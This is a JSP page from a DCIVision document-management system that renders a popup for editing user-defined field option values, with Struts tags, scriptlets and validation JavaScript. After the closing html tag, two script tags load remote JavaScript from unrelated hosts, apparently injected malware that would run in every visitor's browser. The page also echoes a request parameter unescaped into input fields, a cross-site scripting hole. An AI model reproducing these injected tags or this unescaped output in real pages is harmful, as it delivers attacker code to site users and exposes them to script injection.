<%
/*
 * @(#)EditSysUdfFieldValue.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditSysUdfFieldValue.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    14/07/2004
    @version          $Revision: 1.15.4.6 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintSysUdfFieldValueForm" scope="request" class="com.dcivision.framework.web.MaintSysUdfFieldValueForm"/>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<%}%>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<%
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  int listSize=0;
  int newFieldSize=0;
  Integer opNewField=new Integer(1);
  Integer defaultFieldSize=new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_DEFAULTL_FIELD_VALUE_SIZE));
  int tmpListTotal=defaultFieldSize.intValue();
  Integer userDefinedFieldDetailID=TextUtility.parseIntegerObj(maintSysUdfFieldValueForm.getUserDefinedFieldDetailID());
  String fieldValue="";
  String fieldDefault="";
  DmsDocumentDetailDAObject dmsDocumentDetailDAO=new DmsDocumentDetailDAObject(sessionContainer,conn);
	if (request.getParameter("fieldValue") != null){
  	fieldValue = (String) request.getParameter("fieldValue");
  }


	if (request.getAttribute("newFieldsSize") != null){
  	newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  	tmpListTotal = newFieldSize;
  }

  if (request.getAttribute("listSize") != null){
  	listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }
	if (request.getParameter("newField") != null){
		opNewField = new Integer(request.getParameter("newField"));
	}

  List fieldList = (List)maintSysUdfFieldValueForm.getFieldList();


  %>

<html:form action="dms/MaintSysUdfFieldValue">
<html:javascript formName="maintSysUdfFieldValueForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='parentForm' value='<%=maintSysUdfFieldValueForm.getFormName()==null?maintSysUdfFieldValueForm.getParentForm():maintSysUdfFieldValueForm.getFormName()%>'/>
<html:hidden property='userDefinedFieldDetailID'/>

<!-- Page Title Section -->
<!-- Search Title -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td colspan="2">
      <nobr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><bean:message key='dms.message.udf_field_list'/></b></nobr>
      <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font class="bodyVerySmall"><bean:message key="dms.message.udf_field_description"/></font>
    </td>
  </tr>
</table>
<br><br>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
	<tr>
		<td colspan="2">
			<table width="100%" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td class="pageTitle" width='70%'nowrap>
					<bean:message key='dms.label.new_fields'/>
					</td>
					<%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
					<td class="bodySmallBold" width="20%" align="right" nowrap>&nbsp;
						<bean:message key='dms.label.new_value_option'/>&nbsp;
				  </td>
					<td>
					  <nobr>
						<input type="text" name="newField" value="<%=opNewField%>" size='1' style='font-size:11px'>
						<a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
						</nobr>
					</td>
					<%}%>
				</tr>
			</table>
		</td>
	</tr>
	<tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
<%if (fieldList==null){
    if (fieldValue==null || "null".equals(fieldValue) || "".equals(fieldValue)) {
      tmpListTotal=defaultFieldSize.intValue();
      for (int i=0; i<defaultFieldSize.intValue(); i++) {
      %>
  <tr>
    <td class="greyD" width="20" align="right"><%=i+1%>:&nbsp;</td>
    <td class="formFieldSmall" align="left">
      <input type="text" name="definedFieldValue_<%=i%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <!--input type="radio" name="defaultValue" value="<%=i%>"><bean:message key="dms.label.default"/>&nbsp;&nbsp;&nbsp;-->
	    <input type="checkbox" name="delete_<%=i%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=i%>" value="Update" onClick="hasChecked();return true" disabled="true" ><bean:message key="user.label.update"/>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <%}
    }else{
      StringTokenizer st = new StringTokenizer(fieldValue, ";");
      int x=0;
      while (st.hasMoreTokens()) {
        String str = st.nextToken().trim(); %>
    <tr>
      <td class="greyD" width="20" align="right"><%=x+1%>:&nbsp;</td>
      <td class="formFieldSmall" align="left">
      <%if (!Utility.isEmpty(str)){%>
        <input type="text" name="definedFieldValue<%=x%>" value="<%=str%>" size="25" maxlength="255" disabled="true">
				<input type="hidden" name="definedFieldValue_<%=x%>" value="<%=str%>" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <%}else{ %>
        <input type="text" name="definedFieldValue_<%=x%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <%}%>
        <!--input type="radio" name="defaultValue" value="<%=x%>"><bean:message key="dms.label.default"/>&nbsp;&nbsp;&nbsp;-->
<%
      Integer fieldID = null;
      if (!Utility.isEmpty(request.getParameter("UDFFieldID")) && !"null".equals(request.getParameter("UDFFieldID"))){
        fieldID = TextUtility.parseIntegerObj(request.getParameter("UDFFieldID"));
      }
      boolean removeFlag = false;
      if (fieldID != null){
        removeFlag = dmsDocumentDetailDAO.getByUDFIDFieldValue(fieldID,str);
      }
      %>

    <% //DmsDocumentDetail dmsDocumentDetail=(DmsDocumentDetail)dmsDocumentDetailDAO.getObjectByFieldValue(str);
    if(!removeFlag){
    %>
  	    <input type="checkbox" name="delete_<%=x%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=x%>" value="Update" onClick="hasChecked();return true"><bean:message key="user.label.update"/>
	<%}else{%>
	    <input type="checkbox" name="delete_<%=x%>" value="Delete" disabled="true"><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=x%>" value="Update" disabled="true"><bean:message key="user.label.update"/>
	 <%}%>
      </td>
    </tr>
    <tr>
      <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
  	<%x++;
  	   }

      //For temp line display
      if (x<defaultFieldSize.intValue()) {
        tmpListTotal=defaultFieldSize.intValue();
        for (int y=x; y<defaultFieldSize.intValue(); y++) {
        %>
    <tr>
      <td class="greyD" width="20" align="right"><%=y+1%>:&nbsp;</td>
      <td class="formFieldSmall" align="left">
        <input type="text" name="definedFieldValue_<%=y%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
        <!--input type="radio" name="defaultValue" value="<%=y%>"><bean:message key="dms.label.default"/>&nbsp;&nbsp;&nbsp;-->
  	    <input type="checkbox" name="delete_<%=y%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=y%>" value="Update" disabled="true"><bean:message key="user.label.update"/>

      </td>
    </tr>
    <tr>
      <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
      <%}
      }else{
        tmpListTotal=x;
      }
    }
  }else{
    for (int i=0; i<fieldList.size(); i++) {
    tmpListTotal=fieldList.size();
    SysUdfFieldValue tmpSysUdfFieldValue = (SysUdfFieldValue)fieldList.get(i);%>
    <tr>
      <td class="greyD" width="20" align="right"><%=i+1%>:&nbsp;</td>
      <td class="formFieldSmall" align="left">
      <%
      String str = Utility.isEmpty(tmpSysUdfFieldValue.getFieldValue())? "":tmpSysUdfFieldValue.getFieldValue();

      Integer fieldID = null;
      if (!Utility.isEmpty(request.getParameter("UDFFieldID")) && "null".equals(request.getParameter("UDFFieldID"))){
        fieldID = TextUtility.parseIntegerObj(request.getParameter("UDFFieldID"));
      }

      if (!Utility.isEmpty(str)){%>
        <input type="text" name="definedFieldValue<%=i%>" value="<%=str%>" size="25" maxlength="255" disabled="true"><input type="hidden" name="definedFieldValue_<%=i%>" value="<%=str%>" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <%}else{%>
        <input type="text" name="definedFieldValue_<%=i%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <%}%>
        <!--input type="radio" name="defaultValue" value="<%=i%>"><bean:message key="dms.label.default"/>&nbsp;&nbsp;&nbsp;-->
  	    <%boolean removeFlag = false;
          if (fieldID != null){
            removeFlag = dmsDocumentDetailDAO.getByUDFIDFieldValue(fieldID,str);
          }
          if(!removeFlag){
          %>
  	    <input type="checkbox" name="delete_<%=i%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
				<%if (!Utility.isEmpty(str)) {%>
					<input type="checkbox" name="update_<%=i%>" value="Update" onClick="hasChecked();return true"><bean:message key="user.label.update"/>
				<%}else{%>
					<input type="checkbox" name="update_<%=i%>" value="Update" onClick="hasChecked();return true" disabled="true"><bean:message key="user.label.update"/>
				<%}%>
     <%}else{%>
         <input type="checkbox" name="delete_<%=i%>" value="Delete" disabled="true"><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=i%>" value="Update" disabled="true"><bean:message key="user.label.update"/>
	 <%}%>

      </td>
    </tr>
    <tr>
      <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
    </tr>
  <%}
  }

	  if (newFieldSize!=0) {
      for (int i=listSize; i<newFieldSize; i++) {  %>
  <tr>
    <td class="greyD" width="20" align="right"><%=i+1%>:&nbsp;</td>
    <td class="formFieldSmall" align="left">
      <input type="text" name="definedFieldValue_<%=i%>" value="" size="25" maxlength="255">&nbsp;&nbsp;&nbsp;
      <!--input type="radio" name="defaultValue" value="<%=i%>"><bean:message key="dms.label.default"/>&nbsp;&nbsp;&nbsp;-->
	    <input type="checkbox" name="delete_<%=i%>" value="Delete" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
		<input type="checkbox" name="update_<%=i%>" value="Update" onClick="hasChecked();return true" disabled="true"><bean:message key="user.label.update"/>

    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <% tmpListTotal++;
     }
  }
	%>
	<tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
  <input type="hidden" name="listSize" value="<%=tmpListTotal%>">
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
     <html:standardButton label="common.label.confirm" onClick="return OptFieldSelection()"/>
     <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </td>
  </tr>
</table>
</html:form>
<script language="Javascript">
<!--
function OptFieldSelection(){
  var parent = window.opener;
  var tempValue='';
  var defaultSelectField;

//  if (document.maintSysUdfFieldValueForm.defaultValue.checked) {
//    if (document.maintSysUdfFieldValueForm.defaultValue.checked==true){defaultSelectField=0;}
//  } else {
//    for (var i=0; i<document.maintSysUdfFieldValueForm.defaultValue.length; i++) {
//      if(document.maintSysUdfFieldValueForm.defaultValue[i].checked==true){defaultSelectField=i;}
//    }
//  }

  <%for (int i=0; i<tmpListTotal; i++){%>
   var chkAry = FindObj("definedFieldValue"+<%=i%>);
    if (eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+<%=i%>+".value")!=''){
      if (eval("document.maintSysUdfFieldValueForm.delete_"+<%=i%>+".checked") == false) {
	   if(chkAry){
            tempValue = tempValue + eval("document.maintSysUdfFieldValueForm.definedFieldValue"+<%=i%>+".value") + ";";
		  }else{
            tempValue = tempValue + eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+<%=i%>+".value") + ";";
		  }
      }
    }
  
  <% }%>

//   if (tempValue==''){
//     alert("<bean:message key='dms.message.udf_field_warning'/>");
//     return false;
//  }

  if (defaultSelectField!=null){
    if (eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+defaultSelectField+".value")==''){
    alert("<bean:message key='dms.message.udf_field_default_warning'/>");
    return false;
    }
  }

  var tmpListSize=<%=tmpListTotal%>;

  for (i=0; i<tmpListSize; i++){
    var tmp1=eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+ i +".value");

    if (eval("!document.maintSysUdfFieldValueForm.delete_"+i+".checked")) {
      bDeleteNotChecked = true;
    }

    for (j=i+1; j<tmpListSize; j++){
      var tmp2=eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+ j +".value");
      if ((i!=j) && (tmp1==tmp2) && tmp1!="") {
          alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.DUPLICATE_OPTION_NAME)%>");
          return (false);
      }
    }
  }
  var form = parent.document.<%=maintSysUdfFieldValueForm.getFormName()==null? maintSysUdfFieldValueForm.getParentForm():maintSysUdfFieldValueForm.getFormName()%>;

  form.definedFieldValue_<%=userDefinedFieldDetailID%>.value = tempValue;
  if (defaultSelectField!=null){
    form.defaultSelect_<%=userDefinedFieldDetailID%>.value=defaultSelectField;
  }
  window.close();
}

function opAddFields() {
  var intValue;
  intValue=parseInt(document.maintSysUdfFieldValueForm.newField.value);

  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintSysUdfFieldValueForm.newField.focus();
    return(false);
  }
   <%
  int maxNoOfIndexField = new Integer(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_MAX_INDEX_SELECTION_FIELDS)).intValue();
  %>

   var tmplistSize1 = parseInt(document.maintSysUdfFieldValueForm.listSize.value);
   if ((intValue+tmplistSize1)>(<%=maxNoOfIndexField%>)){
      alert("<bean:message key='dms.message.exceed_max_index_field' arg0='<%=String.valueOf(maxNoOfIndexField)%>' />");
      document.maintSysUdfFieldValueForm.newField.focus();
      return(false);
   }

  document.maintSysUdfFieldValueForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  var listSize = parseInt(document.maintSysUdfFieldValueForm.listSize.value, 10);
  for (var i = 0; i < listSize; i++) {
    document.maintSysUdfFieldValueForm.elements['delete_' + i].checked = false;
  }
  document.maintSysUdfFieldValueForm.parentForm.value='<%=maintSysUdfFieldValueForm.getFormName()==null?maintSysUdfFieldValueForm.getParentForm():maintSysUdfFieldValueForm.getFormName()%>';
  document.maintSysUdfFieldValueForm.submit();
  return(false);
}
function hasChecked(){
   var tmpListSize=<%=tmpListTotal%>;
   for (var i=0; i<tmpListSize; i++){
	 var chkAry = FindObj("definedFieldValue"+i);
     if (eval("document.maintSysUdfFieldValueForm.definedFieldValue_"+i+".value")!=''){
	   if(chkAry){
        if (eval("document.maintSysUdfFieldValueForm.update_"+i+".checked") == true) {
 		  document.maintSysUdfFieldValueForm.elements['definedFieldValue' + i].disabled=false;
        }else{
 	      document.maintSysUdfFieldValueForm.elements['definedFieldValue' + i].disabled=true;
 	    }
	   }
     }
   }
}
-->
</script>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>